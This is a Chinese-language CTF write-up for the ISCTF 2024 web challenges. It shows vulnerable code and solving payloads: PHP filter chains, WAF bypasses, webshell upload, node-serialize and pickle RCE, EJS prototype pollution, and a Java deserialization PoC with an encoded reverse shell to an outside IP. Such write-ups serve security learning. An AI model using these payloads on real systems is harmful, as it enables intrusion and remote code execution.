ISCTF 2024
web
小蓝鲨的冒险
源码:
<?phperror_reporting(0);highlight_file(__FILE__);$a="isctf2024";$b=$_GET["b"];
@parse_str($b);echo"小蓝鲨开始闯关,你能帮助他拿到flag吗?<br>";if($a[0]!='QNKCDZO'&&md5($a[0])==md5('QNKCDZO')){$num=$_POST["num"];echo"第一关有惊无险!小蓝鲨壮着胆子接着继续往下走!<br>";if($num==2024){die("QAQ小蓝鲨误入陷阱,不怕,再接再厉!");}if(preg_match("/[a-z]/i",$num)){die("陷阱太多QAQ");}if(intval($num,0)==2024){echo"到这了难道还要放弃吗?<br>";if(isset($_GET['which'])){$which=$_GET['which'];echo"小蓝鲨貌似在哪里见过这个陷阱O.o?继续加油,还差最后一步了!";switch($which){case0:print('QAQ');case1:case2:require_once$which.'.php';echo$flag;break;default:echoGWF_HTML::error('PHP-0817','Hacker NoNoNo!',false);break;}}}}
第一层通过变量覆盖绕过,传入
b=a[0]=240610708
然后典型的
intval
函数特性,传入
num=2024.1
最后 which 传入
which=flag
得到flag
ezSSTI
存在 ssti 漏洞,直接 fenjing 一把梭
25时晓山瑞希生日会
伪造http 的 header ,提示来自客户端
Project Sekai
,伪造:
User-Agent: Project Sekai
然后有需要提示需要来自本地
X-Forwarded-For: 127.0.0.1
最后就是伪造 Date 头,需要简单爆破一下,时间无所谓,日期对的就行。最后构造
Date: Thu, 27 Aug 2024 05:00:00 GMT
得到flag
1z_php
源码:
<?phphighlight_file('index.php');#一句话木马,神神又奇奇if(isset($_POST['J'])){$call=$_POST['J'];$dangerous_commands=['cat','tac','head','nl','more','less','tail','vi','sed','od'];foreach($dangerous_commandsas$command){if(preg_match("/$command/i",$call)){die("这些个危险函数可不兴使啊");}}system($call);}?>
ban 了几个读取文件的命令,还可以用 grep,strings 进行绕过,
ezrce
源码:
<?phperror_reporting(0);if(isset($_GET['cmd'])){$cmd=$_GET['cmd'];if(preg_match("/flag|cat|ls|echo|php|bash|sh|more| |less|head|tail|[\|\&\>\<]|eval|system|exec|popen|shell_exec/i",$cmd)){die("Blocked by security filter!");}else{eval($cmd);}}else{highlight_file(__FILE__);}?>
同样是绕 waf,
system
可以用
passthru
代替,过滤了
/
,可以通过
cd ..
进行绕过,然后文件读取同样
strings
即可
cmd=include$_GET[1];&1=php://filter/convert.base64-encode/resource=/flag
cmd=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=/flag
UP!UPloader
随便上传文件发现存在
include.php
文件,可以进行文件包含,先看一下include.php 中进行文件包含的函数,
php://filter/read=convert.base64-encode/resource=/var/www/html/include.php
发现是 include 函数,但是尝试了 filter 链发现不行,看来还是只能上传文件了,
读取 uoload.php 源码
<?phperror_reporting(0);$file=$_FILES['file'];if(isset($file)&&$file['size']>0){$ext=pathinfo($file['name'],PATHINFO_EXTENSION);$name=pathinfo($file['name'],PATHINFO_FILENAME);$dir_name=$name.'.'.$ext;$upload_dir='./uploads/';if(!is_dir($upload_dir)){mkdir($upload_dir,0755,true);}if(move_uploaded_file($file['tmp_name'],$upload_dir.md5($dir_name).'.'.$ext)){echo"文件上传成功!不过文件路径可不好找呀~什么?什么include.php?我不知道啊。";}else{echo"文件存储失败,未知原因......";}die();}?>
看到了文件路径逻辑,上传 1.php 那么路径为
/uploads/f3b94e88bd1bd325af6f62828c8785dd.php
,最后访问进行rce
小蓝鲨的秘密
开题,访问发现是官网,
翻了下 js 没什么发现。
后面注意到这里存在 302 重定向,抓包拦截,得到flag
天命人
开题,源码
<?phperror_reporting(0);# 帮天命人搜集法宝,重获齐天之姿!classWuzhishan{public$wu="俺老孙定要踏破这五指山!<br>";public$zhi;public$shan;function__get($j){echo"此地阴阳二气略显虚浮,加上刚刚带入的阳气,或可借此遁逃!<br>";$yin="s214587387a";$yang=$_GET['J'];if(md5($yin)==$yang&&md5($yin)==md5($yang)){echo"哦?又一个不信天命之人?行了,拿了东西速速离开吧<br>";system('cat /flag');}}}classHuoyanjinjing{public$huoyan;public$jinjing;function__get($huo){$this->huoyan="火眼能洞察一切邪祟!<br>";echo$this->huoyan->jinjing;}function__invoke(){$this->jinjing="金睛能看破世间迷惘!<br>";echo$this->huoyan->jinjing;}}classDinghaishenzhen{public$Jindou="一个筋斗能翻十万八千里!<br>";public$yun;function__toString(){$f=$this->yun;$f();return"你真的逃出去了吗?天命人?<br>";}}classJingdouyun{public$Qishier=72;public$bian="看俺老孙七十二变!<br>";function__sleep(){echo"三更敲门,菩提老祖送我筋斗云...<br>";echonewJindouyun();}}classTianmingren{public$tianming;public$ren;function__destruct(){echo"迷途中的羔羊,你相信天命吗?<br>";echo$this->tianming;}}$data=unserialize($_POST['Wukong']);thrownewException('开局一根棍,装备全靠打。');?>
一个简单的反序列化,pop 链:
<?phphighlight_file(__FILE__);error_reporting(0);# 帮天命人搜集法宝,重获齐天之姿!classWuzhishan{public$wu;public$zhi;public$shan;function__get($j){echo"此地阴阳二气略显虚浮,加上刚刚带入的阳气,或可借此遁逃!<br>";$yin="s214587387a";$yang=$_GET['J'];if(md5($yin)==$yang&&md5($yin)==md5($yang)){echo"哦?又一个不信天命之人?行了,拿了东西速速离开吧<br>";system('cat /flag');}}}classHuoyanjinjing{public$huoyan;public$jinjing;function__get($huo){$this->huoyan="火眼能洞察一切邪祟!<br>";echo$this->huoyan->jinjing;}function__invoke(){$this->jinjing="金睛能看破世间迷惘!<br>";echo$this->huoyan->jinjing;}}classDinghaishenzhen{public$Jindou;public$yun;function__toString(){$f=$this->yun;$f();return"你真的逃出去了吗?天命人?<br>";}}classJingdouyun{public$Qishier;public$bian;function__sleep(){echo"三更敲门,菩提老祖送我筋斗云...<br>";echonewJindouyun();}}classTianmingren{public$tianming;public$ren;function__destruct(){echo"迷途中的羔羊,你相信天命吗?<br>";echo$this->tianming;}}$a=newTianmingren();$a->tianming=newDinghaishenzhen();$a->tianming->yun=newHuoyanjinjing();$a->tianming->yun->huoyan=newWuzhishan();echoserialize($a);
然后更改一下属性数绕过 throw ,得到
O:11:"Tianmingren":3:{s:8:"tianming";O:15:"Dinghaishenzhen":2:{s:6:"Jindou";N;s:3:"yun";O:13:"Huoyanjinjing":2:{s:6:"huoyan";O:9:"Wuzhishan":3:{s:2:"wu";N;s:3:"zhi";N;s:4:"shan";N;}s:7:"jinjing";N;}}s:3:"ren";N;}
最后需要 md5 加密后还要弱相等
0e215962017
得到flag
ezserialize
又是一个反序列化,链子
<?phperror_reporting(0);classFlag{private$flag;publicfunction__construct(){$this->flag=file_get_contents('/flag');}publicfunctiongetFlag(){return$this->flag;}publicfunction__toString(){return"You can't directly access the flag!";}}classUser{public$username;public$isAdmin=true;publicfunction__construct($username){$this->username=$username;}publicfunction__wakeup(){if($this->isAdmin){echo"Welcome, admin! Here's your flag: ".(newFlag())->getFlag();}else{echo"Hello, ".htmlspecialchars($this->username)."!";}}}$a=newUser('aaa');echoserialize($a);?>
最后传入payload,得到flag
O:4:"User":2:{s:8:"username";s:3:"aaa";s:7:"isAdmin";b:1;}
小蓝鲨的临时存储室
没有任何 waf 的文件上传,直接上传一句话木马进行连接
发现 flag 需要 root 权限才能读取,
看看 suid 权限命令
find / -perm -u=s -type f 2>/dev/null
发现有个 suexec 命令,看来半天没看懂怎么提权。
然后注意到上传的木马会被定时删除,但是没权限查看定时任务,不过发现是执行的 down_file.sh 文件,修改其内容,
最后得到 flag
最后感觉应该还是和 suexec 有关,因为 down_file.sh 是 apache 权限,却能读 root 权限的 /flag,具体没搞明白。
ezlogin
下载附件,注意app.js 源码
const express =require('express');const app =express();const bodyParser =require('body-parser');var cookieParser =require('cookie-parser');var serialize =require('node-serialize');
app.use(bodyParser.urlencoded({ extended:true}));
app.use(cookieParser())
app.set('view engine','ejs');
app.set('views','./views');
users={"guest":"123456"}functionauth(req, res, next){if(req.cookies.token){const user = serialize.unserialize(Buffer.from(req.cookies.token,'base64').toString());if(!user.username){return res.status(401).redirect('/login');}}else{return res.status(401).redirect('/login');}next();}
app.get('/index',auth,function(req,res){
res.render("index");});
app.get('/register',function(req,res){
res.render("register");});
app.post('/register',function(req,res){
username = req.body.username;
password = req.body.password;if(!username ||!password){return res.status(400).send('用户名和密码都是必填项');}if(users[username]){return res.status(409).send('用户名已存在');}
users[username]= password;return res.status(201).send('用户注册成功');});
app.get('/login',function(req,res){
res.render("login");});
app.post('/login',function(req,res){
username = req.body.username;
password = req.body.password;if(!username ||!password){return res.status(400).send('用户名和密码都是必填项');}if(!(users[username])){return res.status(409).send('用户名不存在');}else{if(users[username]=== password){
token=Buffer.from(serialize.serialize({'username':username,'isAdmin':false})).toString('base64')
res.cookie('token',token,{
maxAge:900000,
httpOnly:true});return res.status(200).redirect('/index');}else{return res.status(200).send('密码错误');}}});// 启动服务器
app.listen(80,()=>{
console.log(`Server running at http://localhost:8099`);});
看到在cookie 处存在反序列化,并且
node-serialize
版本为 0.0.4,该版本存在命令执行漏洞
直接参考:https://xz.aliyun.com/t/7184
没有回显,外带到
/views/login.ejs
中,payload
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls />./views/login.ejs',function(error, stdout, stderr){console.log(stdout)});}()"}
base64 编码后替换掉cookie,访问/index 路由,然后刷新登录页面
最后得到flag
千年樱
第一关
传入
Cookie: from=ISCTF
即可,得到路由
/get_contents_qwerghjkl.php
,第二关需要满足下面条件
直接用 filter 链,
php://filter/convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|string.strip_tags/resource=data://,aaaaaaaaaaaaaaaaaa
这里也可以用 data 伪协议
name=data://text/plain,ISCTF
得到第三关路由
/well_down_mlpnkobji.php
,现在又需要满足
还是同理构造 filter 链,
poc=convert.base64-encode|convert.iconv.UTF8.UTF7||convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|string.strip_tags
最后进行命令执行读取 flag
新闻系统
下载源码,注意到在
add_news
函数存在 pickle 反序列化,
但是没有回显,尝试外带似乎不行,然后又尝试写文件到
./templates/login.html
中,发现需要重新加载才会生效,最后直接打内存马
import base64
import os
import pickle
classtttang(object):def__reduce__(self):return(exec,('global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__(\'os\').popen(request.args.get(\'cmd\')).read()',))
a=tttang()
payload=pickle.dumps(a)print(base64.b64encode(payload))
随便访问一个报错页面就能进行执行,得到 flag
ezejs
源码:
const express =require('express');const app =express();
app.use(express.json());
app.set('view engine','ejs');
app.set('env','development');
app.set('views','./views');
users={"guest":"123456"}functioncopy(object1, object2){for(let key in object2){if(key in object2 && key in object1){copy(object1[key], object2[key])}else{
object1[key]= object2[key]}}}// 首页展示
app.get('/',(req, res)=>{
res.render('index');});// backdoor
app.post('/UserList',(req,res)=>{
user = req.body
const blacklist =['outputFunctionName','localsName','escape']const hacker =JSON.stringify(user)for(const pattern of blacklist){if(hacker.includes(pattern)){
res.status(200).json({"message":"hacker!"});return}}copy(users,user);
res.status(200).json(user);});// 启动服务器
app.listen(8099,()=>{
console.log(`Server running at http://localhost:8099`);});
注意到漏洞点是原型链污染,是污染 ejs 模板属性进行 rce,但是这里过滤了关键字,尝试绕过了一些绕过关键字的方法但是都不行,看来需要重新污染新的属性了
参考:https://www.anquanke.com/post/id/236354#h2-2
发现除了
outputFunctionName
和
escape
还有一些属性也进行拼接进了 src 中,分别是
localsName
,
destructuredLocals
,
filename
,但是这里
localsName
也被 waf 掉了,然后
filename
不太好利用,会被当作 json 格式。
可以利用
destructuredLocals
属性,将其污染为数组,这样取得值就会为污染的值。然后其会被赋值给
prepended
,最后拼接进 src 中造成 rce。
payload 都不用变直接 copy
outputFunctionName
的,最后 payload
{"__proto__":{"destructuredLocals":["_tmp1;global.process.mainModule.require('child_process').execSync('calc');var __tmp2"]}}
得到 flag
蓝鲨的java入门课堂
下载源码发现 source 点和 sink 点
通过 hashmap 调用到 hashcode,poc
packageorg.example;importcat.uwu.begin_java.Evil;importjava.io.*;importjava.lang.reflect.Constructor;importjava.util.Base64;importjava.util.HashMap;publicclass test {publicstaticvoidmain(String[] args)throwsException{HashMap map =newHashMap();Class a=Class.forName("cat.uwu.begin_java.Evil");Constructor constructor=a.getDeclaredConstructor(String.class);
constructor.setAccessible(true);Object o= constructor.newInstance("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwNi41My4yMTIuMTg0LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}");Evil ev=(Evil) o;
map.put(ev,"gaoren");try{ByteArrayOutputStream out =newByteArrayOutputStream();ObjectOutputStream objout =newObjectOutputStream(out);
objout.writeObject(map);
objout.close();
out.close();byte[]ObjectBytes= out.toByteArray();String base64EncodedValue =Base64.getEncoder().encodeToString(ObjectBytes);System.out.println(base64EncodedValue);}catch(Exception e){
e.printStackTrace();}}}
最后成功反弹 shell 获得 flag,
版权归原作者 gaorenyusi 所有, 如有侵权,请联系我们删除。